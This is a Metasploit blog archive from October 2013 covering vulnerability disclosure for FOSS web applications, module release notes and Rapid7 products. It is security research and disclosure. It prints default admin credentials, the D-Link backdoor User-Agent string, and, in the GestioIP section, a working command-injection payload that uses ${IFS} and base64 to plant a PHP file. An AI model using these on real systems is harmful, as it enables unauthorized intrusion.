Skip navigation
All Places > Metasploit > Blog > 2013 > October
2013

Disclosure for FOSS Projects

Earlier today, we published seven modules for newly disclosed vulnerabilities that target seven free and open source (FOSS) projects, all discovered and written by long time Metasploit contributor Brandon Perry. These vulnerabilies moved through Rapid7's usual disclosure process, and as you can read in the summary blog post, it was a little bit of an adventure. These were not projects like Linux or Apache with bazillions of downloads and installed basically everywhere, but more on that second and third tier of free software projects which have merely millions of downloads or tens of thousands of users.

 

One thing that occurred to me is that these may be the first, or at least among the first, vulnerabilities disclosed to many of these software vendors. Collectively, these applications have been downloaded more than 16 million times, so it seems weird that the vendors' disclosure handling wasn't a little more normalized.

 

Of course, the way to get good at anything is to practice, so publishers of free software at this level of popularity could use some practice fielding new vulnerability disclosures. To that end, if you're a user of these applications (or other mildly popular applications), you may want to take a look at their openly published source and binaries to see if you can't uncover some vulnerabilities yourself. After all, that's part of the compact we have with FOSS publishers -- they make their materials free to open inspection, but someone actually has to do the inspection.

 

As you can see in the technical writeup, most of these exposures aren't terribly complicated once you start looking. These issues were uncovered and exploited by Brandon primarily during some downtime at DEFCON 2013, so it's not like it was a particularly complicated approach to bug hunting.

 

Inspecting open source software for security issues is a public good that pretty much anyone with technical chops can get into -- you can practice your exploit dev skills, and the software developers can practice handling disclosures once you report them -- either directly or through a third party like ZDI or your friends here at Rapid7. There are tons of books and websites on security best practices and vulnerability research to get you started, and lots of helpful researchers on the Internet to help you along the way. All I ask is that you disclose your findings reasonably and give the vendor time to patch and time to warn their user base about the issues. That way, you're not needlessly injecting extra instability into the Internet as a whole.

 

A Quick Respin of 4.7.2

You may have noticed that we didn't release an update for Metasploit last week. Instead, we were chasing down, fixing, and re-releasing the update to fix a bug in the way the Postgres database is upgraded for Metasploit Community and Metasploit Pro. If you haven't noticed any problems, you're in the majority, and there's no need to reapply anything -- the bug only appears to have hit (a very few) isolated platforms where the end users a) were not on supported platforms and b) had altered their own local database configurations. If you happen to be in this group, then simply reinstalling the newly re-released update will get you squared away. Again, this affected a small set of users (I can count them on one hand) and wasn't a security issue or anything, just configuration conflict.

 

New Modules

We're shipping a whopping 16 new exploits, including the seven from bperry, eight new auxiliary modules, and one new post module. At a grand total of 25 new modules, it's been a busy week in the People's Glorious Republic of Metasploit. Thanks to all various and sundry contributors for your efforts this week.

Exploit modules

 

Auxiliary and post modules

 

If you're new to Metasploit, you can get started by downloading Metasploit for Linux or Windows. If you're already tracking the bleeding-edge of Metasploit development, then these modules are but an msfupdate command away. For readers who prefer the packaged updates for Metasploit Community and Metasploit Pro, you'll be able to install the new hotness today when you check for updates through the Software Updates menu under Administration.

 

For additional details on what's changed and what's current, please see Brandont's most excellent release notes.

Adventures in FOSS Exploitation, Part One: Vulnerability Discovery

This is the first of a pair of blog posts covering the disclosure of seven new Metasploit modules exploiting seven popular free, open source software (FOSS) projects. For technical details on the security issues for the applications discussed here, see Brandon Perry's exhaustive blog post.

 

Back over DEFCON, Metasploit contributor Brandon Perry decided to peek in on SourceForge, that grand-daddy of open source software distribution sites, to see what vulnerabilities and exposures he could shake loose from an assortment of popular open source enterprise applications. For his effort, he discovered a variety of vulnerabilities and exposures, and has released Metasploit modules for the following applications. All have some kind of webapp component, which was the focus of his efforts.

 

Affected Software Summary

 

SoftwareVulnerability / ExposureCVEStatusLifetime Downloads
MoodlePost-Authentication Host OS Command Execution2013-3630wontfix4,760,000
vTiger CRMPost-Authentication Host OS Command Execution2013-3591patched3,643,000
ZabbixPost-Authentication Host OS Command Execution2013-3628wontfix2,961,000
Openbravo ERPPost-Authentication XXE Arbitrary File Read2013-3617patched2,135,000
ISPConfigPost-Authentication Host OS Command Execution2013-3629patched1,561,000
OpenMediaVaultPost-Authentication Host OS Command Execution2013-3632wontfix703,000
NAS4FreePost-Authentication Host OS Command Execution2013-3631no data667,000

 

The most popular application on this list is Moodle, with over four and a half million downloads over its lifetime of SourceForge hosting, and the least is NAS4Free, with merely several hundred thousand downloads. While this is only an approximate figuring of popularity, and none approach the installation base boasted by Wordpress or Apache, they nevertheless are not uncommon to find on a penetration testing engagement. Across all seven projects, we're looking at a total lifetime download count of about 16 million. If only one to two percent of those are installed and still active today, that's still over a quarter million targets out there.

 

Despite this level of apparent popularity, though, the actual business of disclosing vulnerabilities to the software developers directly was... circuitous. Across these seven projects, I found there were at least seven different approaches to handling incoming vulnerability reports.

 

It's been well over a decade since the publication of Rain Forest Puppy's seminal work, the RFPolicy 2.0, and virtually everyone in the information security community can agree that some kind of vulnerability disclosure policy is useful for any serious project of note. Yet, when we contacted these vendors, it was as if the RFPolicy had never existed.  I won't trouble you with shaming details of disclosure -- I won't mention which project representative asked for a password-protected zip file of the disclosure, while another filed the issue on a public bug tracker which promptly e-mailed it back in cleartext -- but the the level of preparedness I ran into was pretty troubling. I suspect, rather strongly, that mature security issue handling that you find at organizations like the Apache Foundation or Microsoft is the exception, and not the rule.

 

 

A Vulnerability Handling Checklist

So, rather than simply dump these vulnerabilities and exposures and run, we thought we'd provide an extremely short checklist that software maintainers could use to ensure that they are holding up their end of the social contract for popular software. This is broad strokes stuff, intended for the (apparently huge) audience of software developers and maintainers who don't already have a security vulnerability handling procedure in place.

 

1. Have a designated security mailing alias. If your software is popular, you almost certainly already have a dedicated domain name, so security@yoursoftware.org is an ideal format. Try not to be creative with this naming convention; the goal is to be easily guessable, even if the reporter can't (or won't) find your most excellent web page describing your disclosure process.

 

2. Have a signed PGP key. Ideally, you will already be participating in a web of trust, and can collect multiple signatures, but at the very least, the PGP/GPG key associated with security@yoursoftware.org is signed by one or more of your core developers.

 

3. Publish your PGP key somewhere obvious. At Rapid7, we link to our PGP key on MIT's keyserver at http://www.rapid7.com/disclosure.jsp. CERT/CC is even better at this, hosting the key directly on their own server over HTTPS. At a minimum, it should be findable with very little work.

 

4. Insist on encrypted communication. Yes, the NSA has already broken everyone's encryption (let's say), but that doesn't mean every ISP, intermediate router, e-mail exchange, and bug tracker should have straight cleartext access to your security disclosure messages. I have no idea if anyone's watching your comms for reported security issues, but more importantly, neither do you. Plus, using encrypted e-mail serves as a pretty decent shhibboleth for representing yourself as Serious About Security.

 

5. Acknowledge receipt. If you are getting a disclosure for free you should be polite and acknowledge receipt. The vulnerability discoverer is playing by the rules, so you should make the effort as well. Worst case, you don't respond, and the discoverer just dumps his findings on Full Disclosure.

 

6. Have a contact at CERT/CC. I like dealing with CERT/CC a lot, since they tend to know people, and know people who know people. If something serious is discovered, we communicate with CERT/CC shortly after informing the vendor, so if they already know who you are, coordinated disclosure is all the easier.

 

7. Issue a patch. This may seem obvious, but not every vulnerability is a bug in code. Some -- like the ones found here by Brandon -- are "merely" exposures, which are (often unintended) features; in this case, a patch could simply be a documentation update, warning about the described behavior.

 

8. Issue a disclosure. Nearly always, security researchers will publish their own findings. Sometimes, CERT/CC will publish a Vulnerability Note. Public security resources such as OSVDB and Exploit-DB will often have entries for your bug. All of this is great here in infosec land, but your users may not keep abreast of these sources. For many of them, all they know about your software is what you tell them. So, take advantage of this event to help out your users, and their users, and the rest of the Internet. Have a link to some clearly worded text that describes the problem, the solution, and any workarounds.

 

That is really the long and the short of it. It's a little preachy, but believe me, there are many, many more things to say on disclosure (both giving and receiving). The above should get you going today if you don't already have some kind of process in place, and if you have many hundreds of thousands of downloads, you really ought to have that process ironed out and ready to go.

 

That's nice, what about all the "wontfix" bugs?

Please see part two of the FOSS Tricks and Treats by Brandon Perry, for technical details of these exposures and vulnerabilities. The modules described are checked into Metasploit now, and will be available as part of the regular Metasploit update. Note that all are post-authentication, which means that you already need a username and password to exercise host operating system functionality via the HTTP/HTTPS vector. Also, for some of these applications, the argument was made that these exposures were normal, designed functionality. In other words, many of these modules will still function in the latest patched versions of the software.

 

There is definitely room for debate as to whether or not these were particularly wise design decisions. On the one hand, many of these applications assume the user is also already in control of the host operating system. On the other, the users of these applications may not realize that by allowing regular old port 80 traffic, they are, effectively, opening a full shell to anyone able to guess a username and password. Penetration testers love these kinds of applications, since they often can provide surprising and unexpected footholds into a network.

 

Thanks to CERT/CC for helping with disclosure chores, and to the above vendors who responded in a timely way to our vulnerability disclosure ministrations. Regardless of their unique disclosure handling processes, every one of them reacted politely and professionally, so thanks for that.

 

Update: ISPConfig has reported that they are patched and has provided a link. Links also provided for the vTiger and Openbravo fixes.

Adventures in FOSS Exploitation, Part Two: Exploitation

This is part two of a pair of articles about disclosing vulnerabilities in a set of FOSS projects, see part one for some background on these vulnerabilities in particular, and some general advice for FOSS developers and maintainers.

 

A while back, I started a project to go over some of the top Sourceforge web applications and try to write some Metasploit modules for them. In the end, I was able to write seven new Metasploit modules (six exploits and one aux). Some of the modules take advantage of intended functionality, such as the Moodle module. Others take advantage of true security flaws, such as the Openbravo XXE module. I will go into detail for each module in this blog post.

 

I would like to especially thank todb for handling the vuln reporting for these modules, as I am lazy and just want to hack stuff. Props!

 

Moodle Authenticated Remote Command Execution (CVE-2013-3630)

Moodle is an open-source Learning Management System or Course Management System. It is used around the world by educational institutions, private enterprises, and governments alike and is a very good example of a solid open-source project. This year, as of this writing, Moodle has been downloaded from Sourceforge over 800,000 times. However, Moodle is easily installed from apt and yum as well.

 

This module exploits more of a design flaw than a bug as the feature that is abused is meant to be there. This means that this isn't actually going to be fixed, but I will discuss mitigation later.

 

The module also has the ability to exploit a vulnerability. Moodle was recently found to have an XSS bug that allows a student (unprivileged user) to steal an admin's session key (the "sesskey"). You can log in with less-privileged credentials, but supply a sesskey for an admin. This allows the unprivileged user to have the authorization of the admin, which in turn allows the user to pop a shell. You can read more about this XSS vulnerabilities on Exploit-DB.

 

image.jpg

 

So, down to the knitty-gritty, how do you pop the shell? Within Moodle, an Administrator has the ability to specify a system path to the aspell binary on the filesystem that the TinyMCE editor will use for spell-checking. You can probably already see where this is going.

 

image.jpg

 

Basically, an attacker can specify an arbitrary command, ensure the editor will use the system aspell, and make a request to ask for a spell check. By default, it is not set to the correct value and you will need to ensure it is using the system aspell.

 

image.jpg

 

 

When the request for a spell check is made, the command is run in the context of the web application. If you specify the username and password of any user, and a sesskey of an admin, the exploit will work in the exact same way.

 

You can use the config value "$CFG-> preventexecpath = true" to mitigate this risk.

 

image.jpg

 

Disclosure Timeline (Moodle)

 

Sat Aug 03, 2013: Initial discovery by internal researcher

Sat Aug 03, 2013: Draft Metasploit module written

Mon Aug 26, 2013: Initial contact to vendor

Mon Aug 27, 2013: Bug filed at Moodle bug tracker as MDL-41449

Wed Oct 30, 2013: Public Disclosure

 

Vtiger CRM Authenticated Remote Code Execution

 

This web application has been downloaded over 200,000 times this year from Sourceforge.

 

image.jpg

 

I found that an authenticated user (default creds admin:admin) could upload PHP source files with an extension of .php3 (.php was blocked) after manipulating a URL that the user is taken to during image uploading.

 

image.jpg

 

By altering the URL (is read-only, need to copy to new tab), you could navigate to an upload folder with less file restrictions than the image upload folder, and by uploading a PHP script to this folder, you could access the script remotely to have it run the arbitrary PHP code.

 

image.jpg

 

There are two vulnerabilities here that lead to successful exploitation. The first is that a user could navigate to an upload directory with less restrictions on allowed filetypes (non-images). The second is that this used an incomplete blacklist (restrict .php but not .php3).

 

You can access the newly uploaded file directly on the web server and execute any PHP code you want.

 

image.jpg

 

Once I realised the workflow for exploitation, a Metasploit module was cake . The module is effective against versions 5.3.0 and 5.4.0 of VTiger CRM.

 

image.jpg

 

Disclosure Timeline (vTiger CRM)

 

2013-07-01: Vulnerability discovered by Brandon Perry, Rapid7

2013-07-01: Metasploit module written

2013-07-02: Disclosure first draft written

2013-07-03: Vendor contacted with disclosure and Metasploit module

2013-07-23: CERT/CC contacted with disclosure and Metasploit module

2013-09-05: Planned Public disclosure (delayed)

2013-10-30: Public disclosure

 

Zabbix Authenticated Remote Command Execution (CVE-2013-3628)

 

Zabbix is an enterprise-class open-source software for monitoring networks, similar to Nagios. It has been downloaded on Sourceforge almost 300,000 times this year so far.

 

This module abuses functionality within the application which allows an administrator to run scripts on hosts. By creating a host with an IP of 127.0.0.1 (it can already exist, will make two), then you can create a 'script' with an arbitrary command to be run on the Zabbix server, and call script_exec.php with the ID of the new host and the ID of the new script. This module uses the same vector of command execution as the module pyoor just got pushed into the framework, but uses real authentication as opposed to a SQL injection. This means mine will still work after the patch, with correct credentials. As it turns out, I found the vector around the same time as another researcher (Lincoln of corelan), independently. Funny how things like that work sometimes.

 

image.jpg

 

Disclosure Timeline (Zabbix)

 

Sat Aug 24, 2013: Initial discovery by internal researcher

Sat Aug 24, 2013: Draft Metasploit module written

Mon Aug 26, 2013: Initial contact to vendor

Wed Aug 28, 2013: Response from vendor, details provided

Wed Sep 11, 2013: Disclosure to CERT/CC

Wed Oct 30, 2013: Public Disclosure

 

Openbravo ERP Authenticated XXE (CVE-2013-3617)

 

Openbravo ERP is an open source project available on Sourceforge, downloaded over 134,000 times this year. It was vulnerable to an XXE (XML eXternal Entity) attack the the XML API. This allows an authenticated user to post specially-crafted XML to the XML API and read arbitrary files from the file system as the user the application is running as (generally not root).

 

image.jpg

 

If you aren't familiar with what an XXE attack is, I will explain it briefly. A great resource to read up more fully on this type of vulnerability is on the OWASP website.

 

Basically, the default SAX parser used by many Java applications by default validates and expands entities defined within an external DTD. An attacker can create an external DTD within the XML request to a web service that will define new entities and where to look for them if referenced. When this request is parsed, the entities will be expanded on the server side to the values they are set to be expanded to. You can set these to expand to local files on the file system, thus replacing the entity with the contents of the file. This is the basic premise of the attack.

 

Openbravo ERP is a Java application that provides an XML API to authenticated users. This is available at the URI /ws/dal/<ENDPOINT>. Each endpoint represents a specific entity within the Openbravo data access layer. The module by default uses the ADUser endpoint because you will eventually find a user you can edit (yourself) and persist with the new value. Each class represented by the endpoints seem to all share at least one property, a comment. This field seems to be postable with free form text across all the endpoints I tried (Product is another). The module uses this field to store the value of the file, then requests the updated entity from the endpoint with a GET and parses the comment field. I do try to remain stealthy, so I remove the file from the comments field when done. You have ability to set the endpoint you want to use in the options for the module (ENDPOINT, be default ADUser).

 

image.jpg

 

Disclosure Timeline (Openbravo ERP)

 

Mon Jul 22, 2013: Initial discovery by internal researcher

Mon Jul 29, 2013: Draft advisory written

Tue Aug 06, 2013: Initial contact to vendor

Tue Aug 06, 2013: Automatic response for issue 22813

Tue Aug 13, 2013: PGP key provided, disclosure sent to vendor

Wed Aug 26, 2013: Disclosure to CERT/CC

Thu Aug 27, 2013: VU#533894 assigned by CERT/CC

Wed Sep 04, 2013: Planned public disclosure (Delayed)

Wed Oct 30, 2013: Public Disclosure

Wed Oct 30, 2013: CERT/CC VU published

 

 

ISPConfig Authenticated Remote Code Execution (CVE-2013-3629)

 

 

ISPConfig is an open source hosting control panel written in PHP that allows for easy management of resellers and clients of internet cloud space and the like.

 

An administrator (default creds admin:admin) on ISPConfig has the ability to import and export language definition files. These files contain snippets of PHP code that get evaluated and executed in order to persist the correct language values. An attacker can abuse this by uploading a specially crafted file with arbitrary PHP code.

 

The Metasploit module I have written to take advantage of this is called ispconfig_php_exec and allows the attacker to define the language that will inevitably be over-written (so don't choose the main language, otherwise it will be apparent something is wrong). While the vendor has stated they have added mitigations to later versions than 3.0.5.2 (which I was testing on at first), the module still works against the latest release.

 

image.jpg

 

Disclosure Timeline (ISPConfig)

 

Mon Jul 29, 2013: Initial discovery by internal researcher

Mon Aug 29, 2013: Draft Metasploit module written

Mon Aug 26, 2013: Initial contact to vendor

Tue Aug 27, 2013: Vendor response with PGP key

Tue Aug 27, 2013: Vendor provided with full details

Wed Sep 04, 2013: Vendor provided a fix

Wed Sep 12, 2013: Disclosure to CERT/CC

Wed Oct 30, 2013: Public Disclosure

 

OpenMediaVault Authenticated Remote Command Execution (CVE-2013-3632)

OpenMediaVault is an open-source Debian distribution for network attached storage devices. Available on Sourceforge, it has been download over 500,000 times this year as of this writing.

 

OpenMediaVault allows you to create cron jobs as users (including root). This module abuses this to create a cron job to run whatever arbitrary command the authenticated attacker (default creds admin:openmediavault) wants to run.

 

image.jpg

 

Disclosure Timeline (OpenMediaVault)

 

Thu Aug 01, 2013: Initial discovery by internal researcher

Thu Aug 01, 2013: Draft Metasploit module written

Mon Aug 26, 2013: Initial contact to vendor

Tue Aug 27, 2013: Vendor response with PGP key

Tue Aug 27, 2013: Vendor provided with full details

Wed Sep 11, 2013: Vendor response

Wed Sep 12, 2013: Disclosure to CERT/CC

Wed Oct 30, 2013: Public Disclosure

 

NAS4Free Authenticated Remote Code Execution (CVE-2013-3631)

NAS4Free is an open-source BSD distribution for network attached storage devices. Available on Sourceforge, it has been downloaded nearly 350,000 times this year as of this writing. NAS4Free is a direct continuation of development of FreeNAS, just under a different name (due to legal circumstances).

 

A feature offered by NAS4Free to authenticated users (default creds admin:nas4free) is to run arbitrary PHP code (what could go wrong?). It also offers to run bash commands, but the bash environment is very limited and no connect-backs were viable via this vector.

 

image.jpg

 

This module simply takes advantage of this feature to pop a shell with PHP. I noticed that PHP meterpreter did not work properly, and settled on using the more simple php/reverse_php payload for most of my testing.

image.jpg

 

Disclosure Timeline (NAS4Free)

 

Fri Aug 02, 2013: Initial discovery by internal researcher

Fri Aug 05, 2013: Draft Metasploit module written

Mon Aug 26, 2013: Initial contact to vendor

Wed Aug 28, 2013: Disclosure to vendor

Wed Sep 12, 2013: Disclosure to CERT/CC

Wed Oct 30, 2013: Public Disclosure

Wed Oct 30, 2013: CERT/CC VU published

Simulating the Adversary

A big part of what we do here at Metasploit is "simulating bad guys." On a good week, we can focus on taking real exploits that are being actively used on the Internet, clean them up to our standards for publishing, make sure they actually work as reported, and publish a Metasploit module. This last week has been very good indeed, at least from our point of view, since there's been loads of exploitation going on lately that's come into public view.

 

vBulletin's accidental backdoor

Last week, there was a report of a dangerous vBulletin exploit in the wild. vBulletin is a proprietary community / forum PHP application, and the vulnerability in question looks to be some installation-time artifacts accidentally left over after installing the the software. What it actually amounts to is a (almost certainly) accidental backdoor into account creation, whereby an attacker can create new administrator accounts.

 

However, the disclosure timeline of this vulnerability is a little troubling. vBulletin (the vendor) appears to have known about this exploit vector since at least August 27th, 2013, as evinced by this blog post. The attack was reported by a victim at least as early as September 5, 2013, which was the same day as this security patch tweet, which may or may not address the issue -- there appear to be no public release notes for this patch. The first time there's any real public knowledge posted publicly is the above Imperva analysis, was the genesis for the OSVDB entry, and now, this module.

 

So, if you're responsible for a vBulletin community, you might want to leap on this patch. If you're like me, and wondering if the patch is effective, you can test it with the vBulletin Metasploit module. If it tests out okay, feel free to mention your results somewhere that vBulletin users are likely to see it. I'm sure they'd appreciate it.

 

D-Link's intentional backdoor

While the vBulletin thing is quite likely to be accidental, the D-Link backdoor is absolutely not accidental. For starters, it's an authentication bypass that is triggered by a custom User-Agent string (the thing that your browser uses to tell the server about itself). The string could technically be more obviously malicious, but it's a stretch. Reverse the string: "xmlset_roodkcableoj28840ybtide," and you get, "editby04882joelbackdoor_teslmx." So, intent here is pretty clear.

 

The most recent discoverer of this backdoor has some pretty solid evidence that intelligence on this has been floating around, at least in Russia, since 2010.

 

There is at least one unattributed quote that D-Link was also aware of the backdoor, and it was implemented on purpose as "a failsafe." Simpler times, I guess, if it's true. At any rate, we have an easy-to-use DLink User-Agent Backdoor Scanner, and there's active R&D work on turning out a proper remote code execution module.

 

The other MSIE 0-day

As promised last week, we also have a working exploit for the other Microsoft Internet Explorer vulnerability patched by MS13-080: MS13-080 Microsoft Internet Explorer CDisplayPointer Use-After-Free. I won't beat on this too much, primarily because this disclosure horse is quite dead. However, we have a situation now where IT shops may feel like they've bought some time with Microsoft's Fix-It or EMET solutions for the originally reported vulnerability patched by MS13-080, the SetMouseCapture Use-After-Free bug (aka CVE-2013-3893), when in fact, they're still vulnerable to CVE-2013-3897, the CDisplayPointer UAF.

 

Since the former bug got more attention than the latter, your 3rd party proxy or IPS-based protections may not be aware of this. So, obviously, while patching is the best recourse, we know from the continued usability of good old MS08-067, some organizations put off patching for a long, long time. In particular, according to Metasploit researcher Wei Chen, original in-the-wild exploit for the CDisplayPointer UAF bug was pretty incomplete, even though it had been floating around since mid-September. The Metasploit module that exploits this vulnerability is much more solid and clear about the vulnerability itself, which can help defenders better understand the problem.

 

Why do this?

This whole philosophy of delivering clean, reliable exploits to the good guys (penetration testers, quality testers, and IT admins, among others) has been kind of front and center the last couple weeks here at Metasploit. Maybe the reasons are obvious (at least to security folks) why we do this, but to be explicit:

 

知彼知己,百戰不殆;不知彼而知己,一勝一負;不知彼,不知己,每戰必殆 
    Sun Tzu, Art of War, Chapter 3

 

If you know others and know yourself, you will not be imperiled in a hundred battles; if you do not know others but know yourself, you win one and lose one; if you do not know others and do not know yourself, you will be imperiled in every single battle. 
    Sun Tzu (translated)

 

Thanks, WikiQuote! Also, thanks tons to Juan Vazquez, sinn3r, and m-1-k-3 for putting these modules togther.

 

New Modules

We're shipping ten new modules this week, including the ones discussed above. Five are exploits, four are auxiliary, and one post. Note that the WRT110 module replaces the existing WRT110 command exec module, so it's not technically new.

 

Exploit modules

 

Auxiliary and post modules

 

If you're new to Metasploit, you can get started by downloading Metasploit for Linux or Windows. If you're already tracking the bleeding-edge of Metasploit development, then these modules are but an msfupdate command away. For readers who prefer the packaged updates for Metasploit Community and Metasploit Pro, you'll be able to install the new hotness today when you check for updates through the Software Updates menu under Administration.

 

For additional details on what's changed and what's current, please see Brandont's most excellent release notes.

When you're assessing the exposure to phishing in your organization, one important part are the client-side vulnerabilities that would enable a malicious attacker to exploit a browser. In this blog post, I'd like to outline a non-invasive (and free!) way to get visibility into your client-side risk landscape.

 

There are essentially two ways to use phishing as part of your security program.


  • Phish 2 Pwn: If you are a penetration tester, you'll likely use spear phishing of a couple of users to compromise a machine to gain a first foothold in the network and then pivot from there.
  • Phish 2 Educate: Phishing as part of your security program uses simulated phishes to see how many of your users would click on a link or enter credentials on a fake form.

 

Metasploit Pro offers phishing options for both Phish 2 Pwn and Phish 2 Educate. For this blog post, we'll focus on the latter. With Metasploit, you would typically set up your phishing email, containing a link to a landing page, which could be used to do any of the following:

 

  • Exploiting the browser or its plugins
  • Displaying a fake login page to harvest credentials (e.g. OWA login page)
  • Tracking click-throughs
  • Delivering security awareness training
  • Any combination of the above

 

Some phishing projects don't allow you to exploit clients, but there is a great way to determine client-side vulnerabilities using a free Rapid7 product called BrowserScan. Think of BrowserScan like Google Analytics for client-side vulnerabilities: You embed an invisible JavaScript snippet in your landing page and view the vulnerabilities in your BrowserScan dashboard. It records both browser and plugin vulnerabilities. While a vulnerability management, such as Nexpose, can give you this kind of information about clients inside your network, BrowserScan gives you the vulnerability ratings of the machine actually used by the user, such as the user's home PC.

 

Here's how you do it:

 

  1. Create your free BrowserScan account
  2. Click on Tracking and choose the Transparent badge, which is not visible when the user visits the page
  3. Embed the JavaScript code in your phishing landing page

 

BrowserScan1.png

 

Once you have run your phishing campaign, you'll be able to see the the results of the vulnerable scanners in your BrowserScan Dashboard:

 

browserscan7.jpg

 

You can view the number of vulnerable clients overall or by a particular plugin. Here's Oracle Java by vulnerability status:

 

browserscan6.jpg

 

You can also see the breakdown by version number:

 

browserscan5.jpg

 

BrowserScan is not only limited to your phishing campaigns - you can also host it on other web pages, e.g. your intranet page or a frequently used internal web application, to get a quick, easy, and free view of your users' security posture, no matter where they may access the page from. You can even include a badge on your intranet page that gives the user instant feedback of their security posture. You may even consider this for your phishing training page:

BrowserScan3.jpg

Want to give this a try? Create your free BrowserScan account now!

Updates to the ROPDB

Hey, remember last week when we shipped that unpatched MSIE exploit?  Yeah, good times. Well, first off, it's patched now, so get yourself revved up to at least MS13-080 to protect against CVE-2013-3893. That said, the story's not quite over yet.

 

Just about a year ago, Wei sinn3r Chen and Juan Vazquez put together the Return-Oriented Programming Database, or ROPDB. This innovation provides exploit writers a fairly generic mechanism to come up with useful ROP chains from a stock of known-good DLLs.

 

Fast-forward to today. If you'll remember from sinn3r's exploit for MS13-080, the in-the-wild exploit was using an Office DLL to avoid tripping up on DEP (Data Execution Prevention) -- in other words, to skip past DEP by using a ROP chain. This week, you'll find new options for using ROP chains found in shipping versions of Office 2007 and Office 2010. Turns out, many-to-most users of Internet Explorer also tend to have a version of Office installed, so exploiting MSIE bugs by using Office's shipped version of hxds.dll is a pretty safe bet.  Incidentally, hxds.dll is a registered handler for "ms-help://" URI scheme, so it's available from MSIE-land.

 

In addition to this, the other ROP chains were reviewed and updated, so you should find some more reliability in the already-shipping chains for msfvcrt.dll and java.dll.

 

In other MSIE exploit news, you may have seen the report about another 0-day that was floating around for a month, also patched by MS13-080. The fact that it was known to vendors and some researchers to be circulating in the wild for a whole month with no fixit, no public alert, and no Metasploit module to let defenders test their defenses is a little disconcerting, but never mind all that -- we have a line on a sample for CVE-2013-3897 as well, so expect that to be released here Real Soon Now.

 

New Modules

We're shipping six new modules this week -- 5 exploits, and the one bruteforcer auxiliary module for Sentry Switched CDU. If you watch the open source diffs, you'll notice that community contributor Christian FireFart Mehlmauer apparently got sick and tired of seeing the "rport" and "peer" methods defined in about 50 different modules, and did some housekeeping. Thanks FireFart!

 

Exploit modules

 

Auxiliary and post modules

 

If you're new to Metasploit, you can get started by downloading Metasploit for Linux or Windows. If you're already tracking the bleeding-edge of Metasploit development, then these modules are but an msfupdate command away. For readers who prefer the packaged updates for Metasploit Community and Metasploit Pro, you'll be able to install the new hotness today when you check for updates through the Software Updates menu under Administration.

 

For additional details on what's changed and what's current, please see Brandont's most excellent release notes.

passive.jpgOne of the first steps in your penetration test is to map out the network, which is usually done with an active scan. In situations where you need to be stealthy or where active scanning may cause instability in the target network, such as in SCADA environments, you can run a passive network scan to avoid detection and reduce disruptions. A passive network scan stealthily monitors broadcast traffic to identify the IP addresses of hosts on the network. By initially running a passive scan, you can identify known hosts while evading network monitoring tools, such as intrusion detection systems (IDS). The data obtained from a passive network scan can be used to perform a targeted active scan with Metasploit’s Discovery Scan.

 

passive-network-discovery-metamodule.jpg

Metasploit Pro's Passive Network Discovery MetaModule

The Passive Network Discovery MetaModule available in Metasploit Pro runs a live packet capture on a specific network interface to capture DHCP requests and ARP requests. If you want to have more granular control over the packet capture or you want to reduce the size of the packet capture, you can use Berkeley Packet Filters (BPF) to specify the types of packets that the MetaModule captures.

 

The packet capture runs until it reaches the maximum Pcap file size or the time limit you have configured for the MetaModule. When the MetaModule run completes, it stores the captured data and generates a comprehensive report of its findings.

 

Sniffing the Network in Switched Networks

Most networks today are switched, which makes sniffing traffic harder. Unlike a hub, a switch only transmits the packets on the port of the target host instead of broadcasting it to the entire network. While this is great for minimizing traffic, it means that you'll only see packets that were meant for your machine, which defeats the point if you're trying to use network sniffing for discovering hosts on the network.

 

However, some manufacturers add ports for network analysis on the router that show you all traffic on the switch. Depending on the manufacturers, the ports are called Port Mirroring, Switched Port Analyzer (SPAN), or Roving Analysis Port (RAP). Depending on your model, you may have to switch on port mirroring in the switch's settings.

 

For detailed instructions on how to use this module, check out the Passive Network Discovery MetaModule Tutorial. If you don't have Metasploit Pro, you can download a fully functional Metasploit Pro 7-day trial.

GestioIP is an open-source IPAM (IP Address Management) solution available on Sourceforge, written in Perl.

 

There is a vulnerability in the way the ip_checkhost.cgi deals with pinging IPv6 hosts passed to it. If you pass an IPv4 address, the CGI uses a Perl library to perform the ping and return the results to the user.

 

However, this library doesn't seem to support IPv6 hosts, so the developer uses the ping6 utility to perform the ping of an IPv6 machine. The developer did perform some validation on the values being passed, but it wasn't sufficient and was able to be worked around.

 

The query string the CGI expects is

 

$QUERY_STRING =~ /ip=(.*)&hostname=(.*)&client_id=(.*)&ip_version=(.*)$/;


my $ip_ad=$1;
my $name=$2 || "";
my $client_id=$3 || "";
my $ip_version=$4 || "";



 

The first check the developer does is testing for any characters that the developer doesn't want in the query string:

 

if ( $ENV{'QUERY_STRING'} =~ /[;`'\\<>^%#*]/ ) {
        print_html($$lang_vars{max_signos_message}, $close);
        exit 1;
}



 

This presented some interesting restrictions on how to exploit the vulnerability.

 

Once the application has verified that the query string doesn't contain the bad characters (including a space, which isn't included in the previous code), the developer attempts to ensure the IP address is in the correct format.

 

if ( $ip_version eq "v4" ) {
        if ( $ip_ad !~ /^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/ ) {
                print_html("<b>ERROR</b><p>$$lang_vars{ip_invalid_message}: $ip_ad","");
                exit 1;
        }
} elsif ( $ip_version eq "v6" ) {
        my $ip_ad_expand = ip_expand_address ($ip_ad,6);
        if ( $ip_ad_expand !~ /^\w+:\w+:\w+:\w+:\w+:\w+:\w+:\w+$/ ) {
                print_html("<b>ERROR</b><p>$$lang_vars{ip_invalid_message} $ip_ad","");
        }
}



 

You will notice that there is no 'else' statement, so if the ip_version param doesn't contain either 'ipv4' or 'ipv6', then no validation is done on the $ip_ad variable.

 

However, even if you were to pass in an ip_version of 'ipv6', the regex for the IPv6 address is not very strict at all.

 

Since an attacker can bypass any validation of the IP address before being passed to the ping6 command, the only thing left to do is figure out how to get around the first set of character restrictions.

 

I ended up using a few tricks to get around the fact that I couldn't use a space or a semi-colon. I finally settled on the following IP address in the request which creates a PHP script at the root of the web application.

 

2607:f0d0:$(echo${IFS}PD9waHAKCiAgcGhwaW5mbygpOwo/Pgo=|base64${IFS}--decode|tee${IFS}phpinfo.php):0000:0000:0000:0000:0004


 

I use ${IFS} instead of a space, which will be substituted by bash by a space. I also use | to go from one command to another and I base64 encode my actual payload to work around bad characters.

 

Once I figured out how to execute arbitrary commands (and figuring out my payload size couldn't be greater than about 450 characters), I knew how to write my Metasploit module:

 

gestioip.png

 

And with that, here's the Metasploit module that exercises the vulnerability and can test if you've applied the patch correctly -- the module will be available in the next update, or if you're tracking the Metasploit development branch directly, you can simply use msfupdate to get the goods.

MSIE exploit for CVE-2013-3893

